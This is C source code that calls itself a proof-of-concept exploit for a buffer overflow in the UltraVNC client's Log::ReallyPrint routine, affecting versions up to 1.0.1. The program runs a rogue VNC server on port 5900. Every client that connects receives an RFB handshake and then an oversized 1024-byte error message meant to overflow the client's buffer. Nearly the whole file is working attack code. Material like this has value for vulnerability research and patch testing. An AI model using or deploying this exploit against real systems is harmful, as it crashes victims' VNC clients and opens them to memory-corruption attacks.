by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif

#define VER "0.1"
#define PORT 5900
#define BOFSZ 1024
#define HEAD "RFB 003.006\n"

void std_err(void);

int main(int argc, char *argv[]) {
struct sockaddr_in peerl;
u_int seed;
int sdl,
sd,
len,
on = 1,
psz;
u_char buff[4096];

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"Ultr@VNC <= 1.0.1 client Log::ReallyPrint buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(PORT);
peerl.sin_family = AF_INET;

printf("- bind port %hu\n", PORT);
sdl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sdl < 0) std_err();
if(setsockopt(sdl, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sdl, (struct sockaddr *)&peerl, sizeof(peerl))
< 0) std_err();
if(listen(sdl, SOMAXCONN)
< 0) std_err();

psz = sizeof(peerl);
seed = time(NULL);

fputs("- clients:\n", stdout);
for(;;) {
sd = accept(sdl, (struct sockaddr *)&peerl, &psz);
if(sd < 0) std_err();

printf(" %s:%hu\n",
inet_ntoa(peerl.sin_addr), ntohs(peerl.sin_port));

// this is only a simple PoC, so no threads and no checks
if(send(sd, HEAD, sizeof(HEAD) - 1, 0) <= 0) goto quit;

len = recv(sd, buff, 12, 0); // no need to check real recv
if(len <= 0) goto quit;

*(u_int *)buff = htonl(0); // connection failed
*(u_int *)(buff + 4) = htonl(BOFSZ); // size of the error
memset(buff + 8, 'A', BOFSZ); // error
if(send(sd, buff, 8 + BOFSZ, 0) <= 0) goto quit;

quit:
close(sd);
}

close(sdl);
return(0);
}